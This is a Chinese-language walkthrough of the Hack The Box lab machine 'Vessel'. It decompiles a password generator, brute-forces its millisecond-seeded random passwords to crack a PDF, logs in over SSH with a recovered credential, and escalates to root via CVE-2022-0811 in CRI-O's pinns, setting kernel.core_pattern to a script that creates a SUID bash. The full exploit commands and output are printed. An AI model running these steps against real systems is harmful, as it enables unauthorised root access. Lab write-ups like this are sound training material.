得到源码

# uncompyle6 version 3.9.0
# Python bytecode version base 3.7.0 (3394)
# Decompiled from: Python 3.9.1+ (default, Feb  5 2021, 13:46:56) 
# [GCC 10.2.1 20210110]
# Embedded file name: passwordGenerator.py
from PySide2.QtCore import *
from PySide2.QtGui import *
from PySide2.QtWidgets import *
from PySide2 import QtWidgets
import pyperclip

class Ui_MainWindow(object):

    def setupUi(self, MainWindow):
        if not MainWindow.objectName():
            MainWindow.setObjectName('MainWindow')
        MainWindow.resize(560, 408)
        self.centralwidget = QWidget(MainWindow)
        self.centralwidget.setObjectName('centralwidget')
        self.title = QTextBrowser(self.centralwidget)
        self.title.setObjectName('title')
        self.title.setGeometry(QRect(80, 10, 411, 51))
        self.textBrowser_2 = QTextBrowser(self.centralwidget)
        self.textBrowser_2.setObjectName('textBrowser_2')
        self.textBrowser_2.setGeometry(QRect(10, 80, 161, 41))
        self.generate = QPushButton(self.centralwidget)
        self.generate.setObjectName('generate')
        self.generate.setGeometry(QRect(140, 330, 261, 51))
        self.PasswordLength = QSpinBox(self.centralwidget)
        self.PasswordLength.setObjectName('PasswordLength')
        self.PasswordLength.setGeometry(QRect(30, 130, 101, 21))
        self.PasswordLength.setMinimum(10)
        self.PasswordLength.setMaximum(40)
        self.copyButton = QPushButton(self.centralwidget)
        self.copyButton.setObjectName('copyButton')
        self.copyButton.setGeometry(QRect(460, 260, 71, 61))
        self.textBrowser_4 = QTextBrowser(self.centralwidget)
        self.textBrowser_4.setObjectName('textBrowser_4')
        self.textBrowser_4.setGeometry(QRect(190, 170, 141, 41))
        self.checkBox = QCheckBox(self.centralwidget)
        self.checkBox.setObjectName('checkBox')
        self.checkBox.setGeometry(QRect(250, 220, 16, 17))
        self.checkBox.setCheckable(True)
        self.checkBox.setChecked(False)
        self.checkBox.setTristate(False)
        self.comboBox = QComboBox(self.centralwidget)
        self.comboBox.addItem('')
        self.comboBox.addItem('')
        self.comboBox.addItem('')
        self.comboBox.setObjectName('comboBox')
        self.comboBox.setGeometry(QRect(350, 130, 161, 21))
        self.textBrowser_5 = QTextBrowser(self.centralwidget)
        self.textBrowser_5.setObjectName('textBrowser_5')
        self.textBrowser_5.setGeometry(QRect(360, 80, 131, 41))
        self.password_field = QLineEdit(self.centralwidget)
        self.password_field.setObjectName('password_field')
        self.password_field.setGeometry(QRect(100, 260, 351, 61))
        MainWindow.setCentralWidget(self.centralwidget)
        self.statusbar = QStatusBar(MainWindow)
        self.statusbar.setObjectName('statusbar')
        MainWindow.setStatusBar(self.statusbar)
        self.retranslateUi(MainWindow)
        QMetaObject.connectSlotsByName(MainWindow)

    def retranslateUi(self, MainWindow):
        MainWindow.setWindowTitle(QCoreApplication.translate('MainWindow', 'MainWindow', None))
        self.title.setDocumentTitle('')
        self.title.setHtml(QCoreApplication.translate('MainWindow', '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">\n<html><head><meta name="qrichtext" content="1" /><style type="text/css">\np, li { white-space: pre-wrap; }\n</style></head><body style=" font-family:\'MS Shell Dlg 2\'; font-size:8.25pt; font-weight:400; font-style:normal;">\n<p align="center" style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><span style=" font-size:20pt;">Secure Password Generator</span></p></body></html>', None))
        self.textBrowser_2.setDocumentTitle('')
        self.textBrowser_2.setHtml(QCoreApplication.translate('MainWindow', '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">\n<html><head><meta name="qrichtext" content="1" /><style type="text/css">\np, li { white-space: pre-wrap; }\n</style></head><body style=" font-family:\'MS Shell Dlg 2\'; font-size:8.25pt; font-weight:400; font-style:normal;">\n<p align="center" style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><span style=" font-size:14pt;">Password Length</span></p></body></html>', None))
        self.generate.setText(QCoreApplication.translate('MainWindow', 'Generate!', None))
        self.copyButton.setText(QCoreApplication.translate('MainWindow', 'Copy', None))
        self.textBrowser_4.setDocumentTitle('')
        self.textBrowser_4.setHtml(QCoreApplication.translate('MainWindow', '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">\n<html><head><meta name="qrichtext" content="1" /><style type="text/css">\np, li { white-space: pre-wrap; }\n</style></head><body style=" font-family:\'MS Shell Dlg 2\'; font-size:8.25pt; font-weight:400; font-style:normal;">\n<p align="center" style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><span style=" font-size:14pt;">Hide Password</span></p></body></html>', None))
        self.checkBox.setText('')
        self.comboBox.setItemText(0, QCoreApplication.translate('MainWindow', 'All Characters', None))
        self.comboBox.setItemText(1, QCoreApplication.translate('MainWindow', 'Alphabetic', None))
        self.comboBox.setItemText(2, QCoreApplication.translate('MainWindow', 'Alphanumeric', None))
        self.textBrowser_5.setDocumentTitle('')
        self.textBrowser_5.setHtml(QCoreApplication.translate('MainWindow', '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">\n<html><head><meta name="qrichtext" content="1" /><style type="text/css">\np, li { white-space: pre-wrap; }\n</style></head><body style=" font-family:\'MS Shell Dlg 2\'; font-size:8.25pt; font-weight:400; font-style:normal;">\n<p align="center" style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><span style=" font-size:16pt;">characters</span></p></body></html>', None))
        self.password_field.setText('')


class MainWindow(QMainWindow, Ui_MainWindow):

    def __init__(self):
        super(MainWindow, self).__init__()
        self.setupUi(self)
        self.setFixedSize(QSize(550, 400))
        self.setWindowTitle('Secure Password Generator')
        self.password_field.setReadOnly(True)
        self.passlen()
        self.chars()
        self.hide()
        self.gen()

    def passlen(self):
        self.PasswordLength.valueChanged.connect(self.lenpass)

    def lenpass(self, l):
        global value
        value = l

    def chars(self):
        self.comboBox.currentIndexChanged.connect(self.charss)

    def charss(self, i):
        global index
        index = i

    def hide(self):
        self.checkBox.stateChanged.connect(self.status)

    def status(self, s):
        global status
        status = s == Qt.Checked

    def copy(self):
        self.copyButton.clicked.connect(self.copied)

    def copied(self):
        pyperclip.copy(self.password_field.text())

    def gen(self):
        self.generate.clicked.connect(self.genButton)

    def genButton(self):
        try:
            hide = status
            if hide:
                self.password_field.setEchoMode(QLineEdit.Password)
            else:
                self.password_field.setEchoMode(QLineEdit.Normal)
            password = self.genPassword()
            self.password_field.setText(password)
        except:
            msg = QMessageBox()
            msg.setWindowTitle('Warning')
            msg.setText('Change the default values before generating passwords!')
            x = msg.exec_()

        self.copy()

    def genPassword(self):
        length = value
        char = index
        if char == 0:
            charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'
        else:
            if char == 1:
                charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
            else:
                if char == 2:
                    charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
                else:
                    try:
                        qsrand(QTime.currentTime().msec())
                        password = ''
                        for i in range(length):
                            idx = qrand() % len(charset)
                            nchar = charset[idx]
                            password += str(nchar)

                    except:
                        msg = QMessageBox()
                        msg.setWindowTitle('Error')
                        msg.setText('Error while generating password!, Send a message to the Author!')
                        x = msg.exec_()

                return password


if __name__ == '__main__':
    app = QtWidgets.QApplication()
    mainwindow = MainWindow()
    mainwindow.show()
    app.exec_()
# okay decompiling passwordGenerator.pyc

关键代码是下面的生成密码函数

def genPassword(self):
        length = value
        char = index
        if char == 0:
            charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'
        else:
            if char == 1:
                charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
            else:
                if char == 2:
                    charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
                else:
                    try:
                        qsrand(QTime.currentTime().msec())
                        password = ''
                        for i in range(length):
                            idx = qrand() % len(charset)
                            nchar = charset[idx]
                            password += str(nchar)

                    except:
                        msg = QMessageBox()
                        msg.setWindowTitle('Error')
                        msg.setText('Error while generating password!, Send a message to the Author!')
                        x = msg.exec_()

                return password

看到此函数恍然大悟,char=0就是ALL Characters,char=1是Alphabetic(字母),char=2是Alphanumeric(字母数字),那根据刚才看到的screenshot.png,合理推测第三行char=index=0,第二行length=value=32。根据password生成逻辑,charset有89个字符,每一位都从这89个字符中用qrand()随机一个,那么32位的password就有89的32次方种可能。但是qsrand(QTime.currentTime().msec())中的.msec()返回时间的毫秒部分,且范围是0-999,所以随机数种子只有1000种可能,可以爆破。

爆破脚本如下(由于Linux和Windows的python种Qt库可能不太一样,所以需在Windows下运行脚本,在Linux下运行会找不到pdf密码,而且passwordGenerator也是Windows程序)

from PySide2.QtCore import qsrand, qrand

def genPassword(ms: int) -> str:
    length = 32
    charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'

    qsrand(ms)
    password = ''
    for i in range(length):
        idx = qrand() % len(charset)
        nchar = charset[idx]
        password += str(nchar)
    return password

passwords = [genPassword(i) for i in range(1000)]
with open('generated.txt', 'w') as f:
    f.write('\n'.join(passwords))

把刚生成的txt文件当作字典,用pdfcrack爆破,找到密码

┌──(root💀kali)-[~/Desktop]
└─# pdfcrack -f notes.pdf -w generated.txt
PDF version 1.6
Security Handler: Standard
V: 2
R: 3
P: -1028
Length: 128
Encrypted Metadata: True
FileID: c19b3bb1183870f00d63a766a1f80e68
U: 4d57d29e7e0c562c9c6fa56491c4131900000000000000000000000000000000
O: cf30caf66ccc3eabfaf371623215bb8f004d7b8581d68691ca7b800345bc9a86
found user-password: 'YG7Q7RDzA+q&ke~MJ8!yRzoI^VQxSqSS'

打开pdf文件如下

获得用户密码

Ethan
b@mPRNSVTjjLKId1T

ssh连上

用如下命令查询拥有suid权限的文件

ethan@vessel:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/at
/usr/bin/chsh
/usr/bin/mount
/usr/bin/su
/usr/bin/pinns

最后一个/usr/bin/pinns最可疑,google一下pinns exploit,看到如下文章

https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/

七、CVE-2022-0811

漏洞产生的应用是CRI-O(一个基于Kubernetes的实时容器引擎),漏洞名称叫cr8escape

在CRI-O版本1.19,pinns支持sysctl(system control),即可以被用来设置内核参数值,而且不需要任何认证,命令格式如下

内核参数:https://docs.kernel.org/admin-guide/sysctl/kernel.html

pinns -s kernel_parameter1=value1+kernel_parameter2=value2

其中kernel_parameter1kernel_parameter2是两个参数名,两个赋值语句中间用“+”连接,pinns只检查kernel_parameter1以确保是一个安全的内核参数,kernel_parameter2可以被设置为任意的内核参数

用如下命令查看CRI-O版本是1.19.6,属于漏洞覆盖范围

ethan@vessel:~$ crio --version
crio version 1.19.6
Version:       1.19.6
GitCommit:     c12bb210e9888cf6160134c7e636ee952c45c05a
GitTreeState:  clean
BuildDate:     2022-03-15T18:18:24Z
GoVersion:     go1.15.2
Compiler:      gc
Platform:      linux/amd64
Linkmode:      dynamic

参考上面crowdstrike的CVE分析文章,文章中用的内核参数是kernel.shm_rmid_forcedkernel.core_pattern

kernel.shm_rmid_forced=1表示没有用户占用、且进程已被终止的共享内存段会被自动销毁

kernel.core_pattern的第一个字符如果是“|”,那么后面的字符串就会当作命令被执行

此处有个概念:内核转储(coredump),在进程发生问题时保存进程的运行状态

参考:https://www.jianshu.com/p/191a62f4f6b9?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

盘一盘逻辑:某一进程发生问题→触发内核转储→内核转储会根据kernel.core_pattern的设置确定存储信息的文件→kernel.core_pattern第一个字符“|”后的字符串会当作命令被执行

中间的部分操作系统自动处理不用管,只需要操作第一步和最后一步,即想办法让某一进程出问题,并且预先设置好kernel.core_pattern的值,便于执行命令

让某一进程出问题:可以用kill进程的方式实现

预先设置kernel.core_pattern的值:此处是pinns提供了修改内核参数的功能,所以用pinns去设置,格式如下

pinns -s kernel_parameter1=value1+kernel_parameter2=value2

注:保证kernel_parameter1=value1是合法赋值,kernel_parameter2位置是kernel.core_patternvalue2位置是“|”开头,后面跟想要执行的命令或者脚本文件

于是用构造如下命令

pinns -s 'kernel.shm_rmid_forced=1'+'kernel.core_pattern=|/tmp/exp.sh #'

先查看想要修改的两个文件

ethan@vessel:~$ cat /proc/sys/kernel/core_pattern /proc/sys/kernel/shm_rmid_forced
|/usr/share/apport/apport %p %s %c %d %P %E
0

执行构造好的命令,发现如下报错,并且查看目标文件,没有变化

ethan@vessel:~$ pinns -s 'kernel.shm_rmid_forced=1'+'kernel.core_pattern=|/tmp/exp.sh #'
[pinns:e]: Path for pinning namespaces not specified: Invalid argument

查看pinnx源码,发现报错的原因

pinns源码:https://github.com/cri-o/cri-o/blob/v1.19.1/pinns/src/pinns.c

发现如下两个逻辑代码段

static const struct option long_options[] = {
    {"help", no_argument, NULL, 'h'},
    {"uts", optional_argument, NULL, 'u'},
    {"ipc", optional_argument, NULL, 'i'},
    {"net", optional_argument, NULL, 'n'},
    {"user", optional_argument, NULL, 'U'},
    {"cgroup", optional_argument, NULL, 'c'},
    {"dir", required_argument, NULL, 'd'},
    {"filename", required_argument, NULL, 'f'},
    {"sysctl", optional_argument, NULL, 's'},
};
if (!pin_path) {
  pexit("Path for pinning namespaces not specified");
}

if (!filename) {
  pexit("Filename for pinning namespaces not specified");
}

if (directory_exists_or_create(pin_path) < 0) {
  nexitf("%s exists but is not a directory", pin_path);
}

if (num_unshares == 0) {
  nexit("No namespace specified for pinning");
}

if (unshare(unshare_flags) < 0) {
  pexit("Failed to unshare namespaces");
}

结合全部代码分析,整体要求就是:

1.要有-d参数,且参数值指定目录要存在或者可以被创建;

2.要有-f参数,参数值任意,但不能为空;

3.-u -i -n -U四个参数至少有一个(此处笔者只试了一个-U,理论上保证num_unshares不为0即可)。

重新构造,执行如下命令

ethan@vessel:~$ pinns -s 'kernel.shm_rmid_forced=1'+'kernel.core_pattern=|/dev/shm/exp.sh #' -f file -d /dev/shm -U
[pinns:e]: Failed to bind mount ns: /proc/self/ns/user: Operation not permitted

虽有报错,但不影响,再次查看目标文件内容,修改成功

ethan@vessel:~$ cat /proc/sys/kernel/core_pattern /proc/sys/kernel/shm_rmid_forced
|/dev/shm/exp.sh #
1

/dev/shm/exp.sh写入想要执行的代码(此处就是把/bin/bash复制到/tmp/wa0er,并给予4755权限,也就是suid和755权限),并给/dev/shm/exp.sh添加执行权限

ethan@vessel:~$ echo -e '#!/bin/bash\ncp /bin/bash /tmp/wa0er\nchown root:root /tmp/wa0er\nchmod 4755 /tmp/wa0er' | tee /dev/shm/exp.sh
#!/bin/bash
cp /bin/bash /tmp/wa0er
chown root:root /tmp/wa0er
chmod 4755 /tmp/wa0er

ethan@vessel:~$ chmod +x /dev/shm/exp.sh

执行sleep命令,并用killall终止进程,-s SIGSEGV表示访问未分配给自己的内存,此处可看到回显(core dumped),即进入内核转储

ethan@vessel:~$ sleep 100&
[1] 1676

ethan@vessel:~$ killall -s SIGSEGV sleep
[1]+  Segmentation fault      (core dumped) sleep 100

查看/tmp/wa0er文件权限,已有suid权限

ethan@vessel:~$ ls -l /tmp/wa0er
-rwsr-xr-x 1 root root 1183448 Mar 27 13:07 /tmp/wa0er

执行/tmp/wa0er -p提权,成功获取root权限

Over!

参考

https://blog.csdn.net/qq_45894840/article/details/127844085

https://0xdf.gitlab.io/2023/03/25/htb-vessel.html


文章作者: wa0er
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明来源 wa0er !
评论
  目录